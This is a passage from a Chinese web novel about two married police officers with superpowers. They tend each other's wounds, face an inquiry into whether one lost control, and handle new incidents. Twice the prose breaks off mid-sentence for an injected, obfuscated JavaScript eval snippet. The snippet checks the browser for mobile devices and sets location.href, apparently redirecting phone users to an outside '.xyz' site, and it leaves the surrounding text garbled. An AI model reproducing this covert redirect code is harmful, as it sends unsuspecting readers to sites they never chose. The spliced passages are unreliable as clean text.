“你先进来吧。”周观逸让了让。 周观逸身上也一样,青一块紫一块,家常便饭。 但季长岁这程度是生猛海鲜了。 季长岁敲他门是两个目的,一来让周观逸也上点药,二是叫周观逸帮自己上点药。 “你就帮我抹这一块就行了。”季长岁伸出手,比划了一下自己掌心的位置,“就我后背对应的这里,我够不着,剩下的我能自己来。部长,你傻了吗?赵胜那个没有人样的脸你都没吓着,现在不会被我吓着了吧。” 周观逸愣愣地点头:“有点儿。怎么撞这么狠啊。” “你,加上我,我们两个成年男性Alpha。”季长岁认真地说,“以及翻滚的速度,骨头没事儿算我够硬。” “噢……”周观逸是真的吓着了。那一后背的骇人颜色让他拧膏药的时候拧反了方向。 季长岁原本坐在他家这个比较长的沙发上,无奈,起来走过去到单人沙发这里,弯腰,拿走周观逸手里的药瓶:“这么拧。” 然后坐回去,背对他,还是垂着眼的。 周观逸小心地抹着膏药,茶几上袋子敞着口,塑料袋黏在冰啤酒的罐子上,他问:“抹药能喝啤酒吗?” “能吧,又不是口服药。”季长岁说。 季长岁的背上新伤混着旧疤,像一面经年风雨的石板墙上凿刻着诗词,落魄又有力量感,很好看。 “谢谢啊。”季长岁抬手套回T恤,然后慢慢转过身来,拿过药瓶,“你也脱了吧,我帮你涂。” 17. 第 17 章 膏药涂上去冰凉凉的,顺带镇痛。 其实方才在买药的时候,店里的姑娘询问了他需不需要去痛片之类的,季长岁拒绝了。 虽然不晓得去痛片跟酒能不能一块喝,他是无所谓的,但别把周观逸搞死了。 给周观逸上药的时候他一动不动,和季长岁一样,整个后背没几块好皮肉,深深浅浅的疤痕。 周观逸穿的居家服,浅灰色的一套睡衣裤。他穿好上衣,纽扣都系好了才转过来:“谢谢。” 那边“咔”一声,季长岁拇指抵在易拉罐边缘,中指弯曲压在罐顶,食指拉开拉环,涌出“哧啦”一声。季长岁递到唇边喝了一口:“不用客气。” 他看起来想在这里待一会儿,周观逸在犹豫现在拿只杯子给他是不是有点晚了的时候,季长岁看了他一眼。这眼看过来两人都停顿了一下,像卡壳了。 周观逸说:“稍等一下。” 他起身去厨房,季长岁听见水龙头打开的声音,然后看见他拿了两只玻璃杯回来坐下,在季长岁旁边坐下。 季长岁垂眼看着他把另一罐啤酒打开,倒进玻璃杯里,自己乖乖地也把自己这罐倒进水杯。 然后两人碰了个杯,啤酒在里面晃荡,周观逸问他要冰块吗,他说不用。手指戴着一对最亲密的婚戒,嘴上说着普通同事间的对话。 事实上这是季长岁活三十年来第一次拎着零食啤酒敲开另一个人的门,他终究在这虚无缥缈的婚姻里掺了一点点寄托,比如今天实在不想一个人呆着。 “不好意思啊这么晚过来打扰你。” 周观逸听他这么说,先是看了看自己手上的戒指,又能看出他明显的心情低落,于是开玩笑说:“常来啊老公。” “咳咳咳咳……”季长岁迅速抽了两张纸巾捂住嘴,呛了几下后,一脸不可置信地看他,“你万幸我刚才嘴里这口酒咽下去了。” “……”周观逸笑笑,不知道说什么好,跟他碰杯。相敬如宾,客客气气。 季长岁知道他在开玩笑,没放在心上。他放下杯子,把袋子里的零食一个个拿出来,买的还挺多,薯片啊糖果巧克力的。 他从里边挑了个包装很精致的单枚的巧克力,拿到周观逸的杯子旁边:“今天对不起啊。” 周观逸因为他而多了许多钝伤。 “你这是赔礼道歉?”周观逸拎着杯子把剩下的小半杯喝完。 季长岁也不知道,没说话,稍一耸肩。他觉得算是吧,总要多来几个理由,就像瓶子里多装些石头才有分量。 “没关系。”周观逸收下了巧克力,将它从自己和季长岁的中间挪到自己左边来,但是没拆开。 季长岁拆薯片包装的第一下没给撕开,咽喉不自觉紧张起来,第二下成功撕开,先递给周观逸:“反正……这件事情,后天监管部门会调查,不会牵连你。” 周观逸捏出来一片,嘎吱嘎吱地嚼:“我不在乎这个。不过我不明白,想要赵胜活口的是你,差点把他打死的也是你。” 季长岁把酒喝完,没有回应周观逸的话,而是问了个完全不搭的问题:“周部长你今年多大?——好好我知道婚姻申请书上有你的出生日期,但我没看,抱歉,当时眼睛跟万花筒一样,我三十,你呢?” 周观逸看了看他:“二十七。” 季长岁的眉梢偷偷在刘海遮挡下挑了挑:“那……那应该是你七岁的时候了,我不知道你有没有听说过,那年国际异能者协会第一次确认‘失控异能者’这个概念,同时将其定义为‘出现失控情况的异能者’。” 周观逸点头:“嗯,这事我知道,后来……” “后来,他们对这个定义和收容方式做了很多次修改。”季长岁接过话,继续说,“第二次修改定义后,变成‘异能出现失控情况的异能者’。” 周观逸隐约猜到了什么。 “高阶异能者很稀有,他们愿意为了一个还算听话的,年纪很小的高阶异能者来稍微修改一下条例。”季长岁做出一个“大概就是这样”的表情,“我在格斗的时候偶尔会失控。所以,以前我的大部分工作是远远的,一个人架一把狙击枪,不跟任何人产生近身搏斗的可能。” 已经是很偶尔的那种偶尔了,他补充:“我成年之后已经很少出现了,非常少,真的。” “我相信。”周观逸认真地说,“其实我并不认为你今天是失控,你要是按对着赵胜那个力度揍我,我未必招架得住。” 季长岁若有所思,自己有点转不过来:“是吗?我都不太…不太记得了,那个时候我脑子是混沌的,敌我不分,六亲不认,我都把赵胜打得他妈都认不出来了。” “啊那他是毒贩嘛,打成那样人之常情。”周观逸很真诚。 “……”季长岁有点拔剑四顾心茫然,“部长,你刚才还谴责我‘既想要活口又差点把他打死’。” 周观逸笑笑,捏薯片吃。 一罐啤酒能倒出来两杯,第二杯的时候周观逸去冰箱里拿了冰块,还是放点冰块更好喝。季长岁没打算久留,第二杯他喝得很快,最后放下杯子时跟他说:“谢谢啊,今天有点…有点不想一个人呆着。” “常来。”周观逸手上还剩小半杯,他知道季长岁打算告辞了,仰头全喝下去,“也谢谢你来给我上药。” 季长岁从碘伏盒子里掰了一半留下来,那个是一次性包装的:“你一会儿拿这个消消毒,我先回去了。” “好。”周观逸点头,跟着季长岁一块儿站起来,他拿起那块巧克力送他到玄关。 玄关旁边有个置物的小矮柜子,季长岁换鞋的时候瞧见矮柜上有个大概抽纸盒那么大的铁质饼干罐,周观逸打开盖子,把巧克力放进去的时候,季长岁穿好自己的鞋,站直,原来那是个糖罐子,里面花花绿绿各种各样的糖。 他蛮惊讶的,没想到周观逸背地里…不是背地,是堂堂正正的一个糖果罐子摆在玄关。周观逸把巧克力放进去后,在里头挑挑拣拣了几下,拿出来另一颗巧克力。就像是挑出一颗他觉得最好的,笑着递给季长岁。 季长岁犹豫了下,先拿过来揣进口袋,然后瞄了眼那盒子:“你的……糖罐子?” “嗯。”周观逸“嗯”得很理所当然,丝毫没有二十七岁特战部部长持有一和糖果盒而有羞耻感什么的。 不得不说他“嗯”得季长岁产生了自我谴责——这有什么的!成年人有自己的糖罐子怎么了! 然后周观逸将糖罐子拿起来,递给他:“想自己选一个吗?” 他不是很爱吃糖,不知道为什么,本来想说“不用了”但又鬼使神差地手伸进去。水果硬糖,酒心巧克力,维他命软糖…… “你现在拿的这个好吃。”周观逸在他捏住一颗酒心巧克力时说,“它里面夹的不是酒,是酒味的饮料。” “喔……”季长岁拿出来,“那就这个吧。” “嗯,晚安。”周观逸把他的糖罐子盖上。 “晚安。” 后面休息的一整天里季长岁没有收到任何消息,手机安静得让他焦虑,杨局长没消息,管理局韩瑞也没有。 就连一向聒噪的小何都没催促他去医院检查一下,他就明白这次事态比他想象的要严重。 不止是误伤周观逸这一点,而是赵胜,他失控的阶段里,在痛殴赵胜。此时他垂着头坐在床边,手机开着铃声,像等待审判一样——虽然他明白即便有审判也不会在今天找上他。 一直到傍晚,连工作群都没有一条新消息的时候他就知道自己完了。 算了。季长岁把手机扔去床上,随便吧,最差最差的结果是被带走做评估,用各种各样的测试来判定他是不是失控异能者。 这令人不适的名词让季长岁一整天焦躁到心率不齐,他坐立难安,吃不下东西,也没精神做任何事。比如他现在知道自己要去冲个澡然后吃点东西早点睡觉,但还是坐在黑洞洞的客厅里,唯一的光源是他手里安静到诡异的手机。 一动不动,像没有能源一样的季长岁开始胡思乱想。昨天究竟是怎么回事……没有理由的,没有人激怒他,就是自己控制不住自己,分明理智上自己知道只要让赵胜失去行动能力就好,可手却好像不是自己的手,脑子也不是了……换了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749567|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人似的,“自己”只是在旁边安静地看着“季长岁”揍人。 他压制不住。 老师临终说的那三个词,一旦爆发,什么都克制不住。 这从来不是循序渐进慢慢努力的事情,它要么在季长岁身体里沉寂着,无声无息,要么毫无征兆地接管季长岁,无差别攻击。 季长岁一直都明白。 “笃笃。” 他一惊,在客厅幽暗的月光中看向门口。晚上九点半了,他没有点外卖也没有快递,谁会敲门…… 季长岁这一整天大部分时间里都这么做着,干等着,加上一后背的钝伤,站起来的动作有些僵硬。 “……是你啊。”季长岁开门时外边走廊的灯光铺进来一道扇形。 何书清戴着口罩和脑子,鬼鬼祟祟:“否则你希望是谁!” 季长岁没接这话,拿了双拖鞋放下。小何进来他家的第一件事情是开灯,客厅骤亮,季长岁闭了下眼睛。 “怎么了?”季长岁从冰箱里拿了瓶矿泉水递给他,“找我有事儿?” 何书清将水拿在手上,摘下口罩,说:“今天局里叫周部长过去了,今天不是休假嘛,是……是汪局长亲自叫的。” “嗯。” 汪局是正局长,韩瑞的领导。叫周观逸回去,无非是自己出手攻击他的事儿了。 何书清在沙发坐下,抬着头看他:“哥,我觉得……可能会有麻烦,他们好像希望周部长明天接受精神控制……来证明昨天他所说的‘意外’是实话而非……” “而非是看在我跟他结了婚的份上为我开脱。”季长岁转了几圈无名指上的戒指。 小何鬼鬼祟祟地找过来而不是微信上说这些,大抵是今天管理局中气氛微妙。 想到这,季长岁问:“赵胜还活着吗?” 小何无奈地摇头:“还不知道,啊、不是他们不告诉我,是赵胜还在治疗。” 季长岁点头:“希望他生命力顽强一点。” “嗯嗯!”小何跟着点头,“没事,死了也没事,死有余辜,他同伙也抓到了嘛不是,总能审出有用的。” 听这话,季长岁笑了笑,倒不是被小何安慰到,而是这事儿远远超出了自己的控制范围,他焦虑与否都改变不了什么。 见他笑了,小何放松了些:“是吧,没事的哥,大不了咱回桃榔!我跟你一起回!” “你回什么回,在这待着,攒多点成绩,难道当一辈子资料员?”季长岁看了他一眼,走到餐桌边,桌上有半瓶矿泉水,他拧开喝了几口。 何书清捏着自己这瓶,咬着牙:“他们根本就不明白,你——” “行了。”季长岁打断他,“回去吧,我知道赵胜还没死就行。” “还有件事。”小何坐直起来,眼睛灼灼地盯着他,“哥,精神控制异能者的监管队其实……其实昨天就已经到了。” “什么?”季长岁一惊,“怎么…所以郭祁也是昨天到的?” 何书清点头:“郭祁……我今天没见到郭祁,但见到她的妹妹了,那小闺女口无遮拦,跟我聊天儿的时候说岔了。” “说重点。”季长岁看着他。 “郭祁和监管她的那个小组,最近一直在昶州附近工作,你也知道的,她这种精神控制异能者被24小时监管。然后……昨天,郭祁夜里失踪了一小会儿,她自己也不知道为什么,就在床上睡觉睡得好好的,穿着睡衣赤着脚就走出来了,梦游似的……” 季长岁越听越觉得荒谬:“郭祁身边24小时不离人,她怎么可能半夜独自离开房间,她的监管程度比战犯还高啊。” 何书清点头:“哥,我有点…害怕,到底是怎么了,为什么这种稀奇古怪的事情一件接一件?” 季长岁没法回答他,因为自己现在都自身难保。他只能走过去按了按小何的肩膀,说:“没事,天想塌下来就塌吧,回去休息,别想太多。” “你说……周部长如果真的接受精神控制,还会帮着你吗?”小何心有余悸。 季长岁没正面回答:“无所谓,这不是我们能控制的。” 18. 第 18 章 从周观逸那里拿来了两颗巧克力,吃掉了一颗。另一颗酒心巧克力季长岁一直揣在口袋里。 它像是某种锚点,手指尖摸到这颗巧克力就能把他带回去周观逸家里的那个晚上,让他平静下来。 清晨八点,季长岁警帽,制服,短靴。 战术腰带配枪,手套,对讲,从办公室走出来。面无表情时略显森寒,路过的警员向他轻声打招呼说“季警官,早”,季长岁“嗯”一声说“早”。 他依然是那样,没有刻意端着却让人潜意识想要远离,和从前没什么变化。 季长岁走出办公楼,今天阴,天气预报显示小雨,春夏就是这样,雨憋闷在云里的时候堵得慌。他抬眼,视线从警帽帽檐掠过去,瞧了瞧灰得像是病入膏肓的天。 审讯楼的13层,韩瑞亲自在电梯门口等他。 “来了啊。”韩瑞笑得敦厚亲和,“哎哎,不在这层,咱上楼,搁审讯室聊像什么样儿啊哈哈哈哈,被部下看见了挺尴尬,再说了,你又不是嫌犯。” 季长岁朝旁边让了让,点头。 原本他收到消息叫他来审讯楼13楼A01接受问话,这韩瑞却……倒也不能说他“假惺惺”吧,起码韩瑞在他身上没什么图谋。 审讯楼20楼有一间韩瑞的办公室,布艺沙发上有柔软的靠枕,比审讯室那直板板的椅子舒服很多,不过季长岁的坐姿仍是很板正。 韩瑞泡了两杯热茶搁在茶几上,没坐他对面,跟他隔了一些距离坐在旁边,说:“其实我是想压下来的。但……但你应该能明白,像我这样的人一样是被监管着,我必须往上报。” “我明白。”季长岁摘下警帽搁在腿边,“赵胜还活着吗?” “还活着。”韩瑞说,“但目前还没办法开口说话,你打得太……” 季长岁安静等着韩瑞的那个形容词,没等到,自己接上了:“太没分寸了我知道,韩局,监管小队什么时候开始审我?” 韩瑞摇头:“不审了。” “怎么回事?”季长岁愣了下,想起小何说的郭祁的事情,“是精神控制异能者出问题了?” “对。”韩瑞说,“你知道的,郭祁是目前已知的唯一的全物种精神控制异能者,她前两天因公事靠近昶州地界,出现了这么多年里第一次无知觉行动,今天是监管组在昶州的最后一天。” 季长岁仍不明白:“昶州邪门了?怎么谁来谁出问题。” 韩瑞“啧”一声瞪他:“咱这儿好着呢!” “……”好好好。 韩瑞又说:“我把你叫过来是…是因为我这个办公室里没有监听监视,季警官,我们非常需要你。但今天郭祁要精神控制他,以确认他所说的你们的‘过招’真的只是意外。如果、如果周部长的结论是你失控了……无论是不是驱动异能状态下的失控,你都必须……” “回桃榔去?”季长岁问。 韩瑞说:“必须跟监管组离开。” “哦,去坐牢。”季长岁很平静。 “啧你别瞎说呀,监管一小阵子而已嘛,不是坐牢,怎么能是坐牢呢!”韩瑞说。 季长岁笑了下:“郭祁的状态跟坐牢有什么区别。” 这是周观逸第一次见到郭祁。从他曾经了解到的资料中,郭祁是一位年岁不详的女性,但没有提到她头发全白,整个人像石膏。 审讯楼22层,S01审讯室里,周观逸用拇指磨着无名指的婚戒。 “您还好吗?”周观逸先开口询问。 郭祁原本就苍白的脸上非常疲倦,她身后站着三个护卫,跟仿生人似的纹丝不动,一声不吭。 比如现在,郭祁咳得都快要从那椅子上跌下来了,那三个护卫跟雕塑似的。 郭祁捂着嘴咳嗽了好一会儿,终于缓和了些,她带着歉意:“不好意思,刚刚读取赵胜太耗神了。” “我理解。”周观逸说,“我该怎么做?” 郭祁颤颤巍巍地扶着座椅扶手站起来,她和周观逸之间隔着一张方桌。周观逸不晓得她精神控制别人的方式,甚至有一瞬都怀疑她究竟会不会——这么虚弱的躯体,精神力竟能控制、读取别人的思维?莫非精神控制根本就是假的吧,拿她来当幌子罢了。 “请把手给我。” 被精神控制的过程像是“鬼压床”,人是醒着的,但动不了,并且非常非常想要反抗,想掐自己手心,想有个人把自己拽起来。 二人在电梯里碰面的。 周观逸从22楼下来,20楼的时候电梯门开,外边站着季长岁,一手拎警帽,另一只手自然地扶在战术腰带上,枪套是空的。 季长岁看见他后短暂地停顿了下,抬脚走进来,说:“早啊。” “早。”周观逸按关门键,问,“赶时间吗?” 季长岁没反应过来,然后才意识到他在说那天自己操纵电梯自由落体说赶着下班。他没回答赶不赶时间,问:“见过郭祁了?” “见过了。”周观逸说,“但是她没有告诉我结论,我甚至都不知道她在我脑子里读了些什么。” 季长岁稍微偏过些脸,从电梯门的反光里看见他迷茫的表情,笑了下:“是的,她不可以告诉你,听说是因为这东西很复杂,好像是因为人的思维分为主观意识和潜意识什么的……我也不清楚,她需要做分析。” 周观逸思索片刻,觉得合理,可又不解:“那这样一来,读取到了什么信息,岂不是她说什么就是什么?——我没有质疑她对律法的忠诚度,我是觉得……” “嘘。”季长岁打断他,“下一层要停了。” 周观逸收声。 电梯在6楼停下,进来了两个警员,他们客气地打招呼。 今天有任务,并不紧急,已经有警员过去了,是学校里的保安失控,低阶的结界异能,不准任何人越过学校范围,不准进不准出。也因为这会儿就是上课时间,没什么大不了的。 季长岁到那所高中的时候,警员们正在琢磨那学校大门该怎么以最小损伤程度给弄开,季长岁走过去拍拍其中一人的肩膀:“劳驾让让。” “哎!季警官!” 季长岁耗时8秒打开了学校的正门,接着2秒打开了保安亭的门。 “失控异能者孔勤民。”季长岁扶着保安亭的门,面色不善,“跟我们走一趟。” “我没有——!”孔勤民紧紧攥着一把水果刀,大叫一声举着刀就冲过来。 那保安亭很窄的一个门,季长岁一个人就堵住了。武学讲“内练精气神,外练手眼身”,对方毫无章法地迎面扑过来,他不动如山,左手扶门,右手化手刀下劈,水果刀当啷掉在地上。 季长岁是童子功,得益于异能天赋,武馆里“嘿啊哈”地喊了一两天,没多久就正式爬进八角笼。 孔勤民还在失控状态,结界异能是防御类,他跌在地上后企图在保安亭周围设立结界,把季长岁震出去。季长岁仍是一手扶着门把,弯腰另一只手把他从地上拎起来,在这个瞬间,他非常、非常想把孔勤民……砸在墙上,或者门板上。 不行。 别这么做。 季长岁,克制一下。 凝滞之际,孔勤民一低头抄起地上的刀,胡乱地朝季长岁脸上挥。季长岁“啧”了声,感觉到刀刃从下颌角往上割的时候,他“咣”一声把孔勤民砸在门板上。 没下狠劲,孔勤民甚至还能自主站立。 他很烦……在草木皆兵。 刚刚那个是失控的预兆吗?不对啊,揍赵胜的时候没有这种征兆啊。他靠在警车后备箱上,一个面生的资料员在记录这次失控异能者收容。 “季警官,您伤口要处理一下吗?”有警员过来问。 季长岁稍微碰了碰自己脸:“没事,不深。” 孔勤民带上警车后,季长岁接着又收到管理局控制中心的指令,就在这所中学后街不远的小区里也出现了失控异能者。季长岁叫那辆警车先回局里,自己带两个警员驱车前往。 警员小宋在副驾驶:“火焰异能,消防也在路上,说是在家里做饭做生气了然后……失控了。” “是难吃到人神共愤了?”季长岁不解。 小宋干巴巴地笑两声:“这谁能知道呢……” 小区是结构很老的那种,居民楼之间的间隙只能堪堪让两辆轿车并行。 季长岁开警车到的时候几个看起来应该是住户的男男女女在帮忙拽石墩子,还有人在打电话叫堵路的车主下来挪车。 季长岁停在小区外边,停好之后回头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749568|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼车,心里喃喃道警车应该不会被贴罚单吧…… “几栋的?”季长岁问。 小宋低头看手机:“7栋,那边——啊,那是黑烟吗?” 季长岁顺着他手指的方向看过去:“是。” 应该是刚刚才烧起来,因为旁边居民是这时候才忽然惊叫。 有人喊着快打消防,有人喊着叫救护车。紧接着季长岁听见背后马路上有警笛声,他看了眼向7栋去的那条通道,通道上停着一辆硕大的SUV。 他立刻跑过去,先拉开旁边还在打电话叫挪车的人:“让一让!” 异能驱动着SUV移动到单元门前边的空地,消防车飞驰进来,大家有的拿起手机开始录像,有的焦急地打电话。 “我跟着进去,你俩在原地等。”季长岁说。 异能者有比常人更高的抗性,毒气类也在其中。季长岁跟消防员出示了证件后跟着冲进火场,失火地点是7栋4楼。 浓烟滚滚的楼道里什么都看不清,季长岁摸着楼梯转角的电表箱来切段这栋楼的电源。还没上到4楼的时候,在3楼转过一个弯那里,季长岁隐约看见一道黑色人影。 那人绝对不是消防员也不是警察,季长岁习惯性拔枪,然而掏了个空——他目前的敏感程度比较严重,今天没有被允许配枪。 这身影绝对是忽然出现的,否则前面几个消防员必然会发现。季长岁冷静地看着对方,一步步踏上台阶。 “你并不自由,对不对?”那黑影是一道变声处理过的男声,“你明明具备强大力量,你应该拥有随心所欲的权利。” 说实话季长岁现在只想随心所欲地把这人按在地上把他打成一滩饺子馅。 然而那只是黑色浓烟里的一团更浓的烟。 “没人啊。”楼下的消防员跟他说,“这时间都去上班上学了,就咱们几个,哦,还有那个烧饭的失控异能者。” 季长岁预料到了,点点头:“行,估计我看岔了。人我们带回去,辛苦了。” 失控异能者的事情再次登上晚间新闻,与初次出现失控异能者时铺天盖地人人惶恐的状况不同,时至今日,仅仅是新闻之间穿插一个数据表。 他不知道该怎么汇报那个楼道里的黑影,执行官办公室里他孤零零一个人,之前小何敲门进来给他送止血贴,他随手一放不知道放哪去了。 敲门声又响,他说了句“进”。 “听说你出任务伤着了。”周观逸进来,带上门,“我拿药来了。” 季长岁手肘支在桌面,托着下巴,姿态随意声音懒倦:“你再晚来点儿,疤都要掉了。” 周观逸失笑:“吃点东西吧。” “谢了。”季长岁抬眼,“有消息吗?” “有。”周观逸放下袋子,“而且,不太好。” “说吧。” “郭祁判断我的潜意识认为你是失控异能者。”他说完,停顿一瞬,继续说,“但是,我没有。我不知道你相信她还是我。无论什么意识下我都没有这么想过,我觉得她是被人……被人下命令了还是什么的,我绝对没有一丝一毫这么想过。” 季长岁脸上那道血口子帅得不像话,无所谓地“嗯”了一声,手指勾着塑料袋,拿了个三明治出来:“我吃这个。” 三明治的包装刚被他从中间段撕开,手指忽地停了,他看向周观逸:“不对啊,既然下判断了,为什么没人来抓我?” 周观逸稍微带了些不好意思的情绪抠了下自己手指甲,清清嗓子,说:“桃榔市局的杨局长……打了电话过来,替你做了解释,并且监管组接受了,可能也是因为最近郭祁状态不佳,所以没有太拉扯。” “哦。”季长岁继续拆包装。 的确,此前在微信上杨局长就告知过他,会尽量把他保在这里。 季长岁咬了一口三明治的尖儿,顺嘴问:“杨局怎么说的?” “他说……”周观逸吸一口气,“说:‘这几天刚好是季警官生理期前后,他今年三十了,一直没有性生活,信息素的处理全靠药物,情绪有波动实属正常,不应当如此锱铢必较。’” 季长岁手里的三明治滑到桌子上:“这些话都谁听见了?” “……你要挨个灭口吗?”周观逸询问。